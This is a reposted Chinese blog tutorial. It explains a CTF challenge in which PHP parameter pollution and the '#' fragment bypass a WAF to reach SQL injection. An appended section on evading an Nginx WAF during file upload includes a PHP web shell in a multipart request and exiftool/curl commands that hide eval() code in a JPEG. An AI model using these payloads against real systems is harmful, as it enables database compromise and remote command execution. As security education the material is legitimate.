【转】PHP的两个特性导致waf绕过注入

1、HPP HTTP参数污染

HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如:

user.php?id=111&id=222

如果输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。

2、一个CTF题目

http://drops.wooyun.org/tips/17248

关于注入的waf绕过,注入点为:

$sql="select * from user where id=".$_REQUEST["id"].";

可以看到了REQUEST进行传递,并且存在如下的waf代码:

functionwaf($str) {  
        if(stripos($str,"select")!==false)  
            die("Be a good person!");  
        if(stripos($str,"union")!==false)  
            die("Be a good person!");  
        ......  
    }    
      
    functionwafArr($arr) {  
        foreach($arras$k=> $v) {  
            waf($k);  
            waf($v);  
        }  
    }    
      
    wafArr($_GET);  
    wafArr($_POST);  
    wafArr($_COOKIE);  
    wafArr($_SESSION);  
      
    functionstripStr($str) {  
        if(get_magic_quotes_gpc())  
            $str= stripslashes($str);  
        returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));  
    }    
      
    $uri= explode("?",$_SERVER['REQUEST_URI']);  
    if(isset($uri[1])) {  
        $parameter= explode("&",$uri[1]);  
        foreach($parameteras$k=> $v) {  
            $v1= explode("=",$v);  
            if(isset($v1[1])) {  
                $_REQUEST[$v1[0]] = stripStr($v1[1]);  
            }  
        }  
    }    
      
    functionstripArr($arr) {  
        $new_arr= array();  
        foreach($arras$k=> $v) {  
            $new_arr[stripStr($k)] = stripStr($v);  
        }  
        return$new_arr;  
    }    
      
    $_GET=stripArr($_GET);  
    $_POST=stripArr($_POST);  
    $_COOKIE=stripArr($_COOKIE);  
    $_SESSION=stripArr($_SESSION);

    这里使用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,并且对这些全局数组进行转义。

 

值得注意的是,这里的$_REQUEST是代码中重新根据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。

(1)思路1  使用HPP特性

看似不太可能存在注入,但是使用HPP可以实现。

示例代码:

user.php?id=0 or 1&id%00=1  
user.php?id=0 or 1&%20id=1  
user.php?id=0 or 1?&id=1
    测试代码:
<?php  
      
    function stripArr($arr) {  
        $new_arr = array();  
        foreach ($arr as $k => $v) {  
            $new_arr[stripStr($k)] = stripStr($v);  
        }  
        return $new_arr;  
    }  
      
    function stripStr($str) {  
        if (get_magic_quotes_gpc())  
            $str = stripslashes($str);  
        return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));  
    }  
      
    $uri = explode("?",$_SERVER['REQUEST_URI']);  
    if(isset($uri[1])) {  
        $parameter = explode("&",$uri[1]);  
        foreach ($parameter as $k => $v) {  
            $v1 = explode("=",$v);  
            if (isset($v1[1])) {  
                $_REQUEST[$v1[0]] = stripStr($v1[1]);  
            }  
        }  
    }  
    var_dump($_GET) ;  
      
    var_dump($_REQUEST) ;  
      
    ?>

输出结果:

可以看到,这里的GET数组取到了最后一个值,不会触发waf,而REQUEST数据中,id则为我们的注入语句,这样

利用这两者之间的差异,我们可以绕过waf函数的检测,并且利用之前的注入点来实现注入。

(2)思路2: 利用#特性($_SERVER[‘REQUEST_URI’])

在浏览器中,是不会将#号之后的hash内容发送给服务器的,这里利用burp发包,可以将hash的内容发送至服务器,比如发送:

/#?id=1

这里GET数组为空,REQUEST则输出为/#?id=1,这样,就可以绕过waf函数对GET数组的判断,

并且在REQUEST(这里主要因为REQUEST数组是使用了REQUEST_URI进行了重组)中携带注入的语句,绕过了waf检测。


 

3、总结

这种特性导致的漏洞场景比较特殊,首先,CTF中模拟的场景是waf函数 只对GET,POST,SESSION,COOKIES全局数组进行的处理,注入点为REQUEST,在场景中,代码对REQUEST数组通 过$_SERVER[‘REQUEST_URI’],使用&分割重新组装的,这种代码处理可能是由于程序员想对REQUEST数组进行转义或者一 些净化处理才加进来的。

利用:

(1)HPP特性,提交重复参数内容,PHP处理参数时会覆盖,但是程序拼接时会出现差异,

比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1

GET为id=1,REQUEST为:

'id' =><small>string</small>'0%20or%201'(length=10)
  'id%00' =><small>string</small>'1'(length=1)
  可以看到,成功将注入内容引入到REQUEST数组中。

(2)利用#符号,#后面的内容不会带入至GET数组中,但是会出现在REQUEST_URI中,所以可以利用这个特性将注入语句带入到REQUEST对象中。

总之,这种特性导致的漏洞场景比较特殊,但是确实比较有趣。

### 绕过Nginx WAF实现文件上传的技术方法 #### multipart协议特性利用 在一个基于`multipart/form-data`编码类型的HTTP POST请求里,能够一次性提交多份文档资源给服务器处理。部分Web应用防火墙(WAF),例如某些配置下的Nginx集成的安全模块,在审核此类请求时可能仅针对首个附件实施检测逻辑,而忽视后续附加的数据块。这意味着如果恶意用户将特制的有效载荷置于非首位的位置,则有可能成功规避初步筛查机制[^1]。 ```http POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="benign.txt" Content-Type: text/plain This is a benign file. ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="malicious.php" Content-Type: application/octet-stream <?php echo shell_exec($_GET['cmd']); ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` 上述示例展示了通过构造包含两个文件字段(`file`)的表单数据来尝试绕开前端过滤器的情况。其中第二个文件携带了潜在危险代码片段,旨在当被不当执行时触发远程命令注入漏洞。 #### 文件扩展名与MIME类型混淆 对于那些依赖于静态分析(比如检查文件头签名或验证声明的内容类型)来进行防护措施部署的服务端组件来说,改变上传对象的实际属性也可能成为一种有效的对抗手段之一。具体操作上可以通过修改PHP脚本伪装成图像格式的方式绕过基本的身份认证流程: ```bash echo "<?php phpinfo(); ?>" > evil.jpg exiftool -Comment="<?php eval(\$_REQUEST['c']);?>" evil.jpg curl --form "image=@evil.jpg" http://target/upload ``` 这里先创建了一个看似正常的JPEG图形文件但实际上内嵌有可被执行的PHP指令;接着借助ExifTool工具向该图片添加注释标签作为隐藏通道传递额外信息;最后再经由CURL模拟浏览器行为完成整个递交动作[^2]。 需要注意的是,以上讨论均出于学术研究目的,并不鼓励任何非法入侵活动。合法合规地开展安全测试工作应当遵循相关法律法规以及获得授权许可的前提下进行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值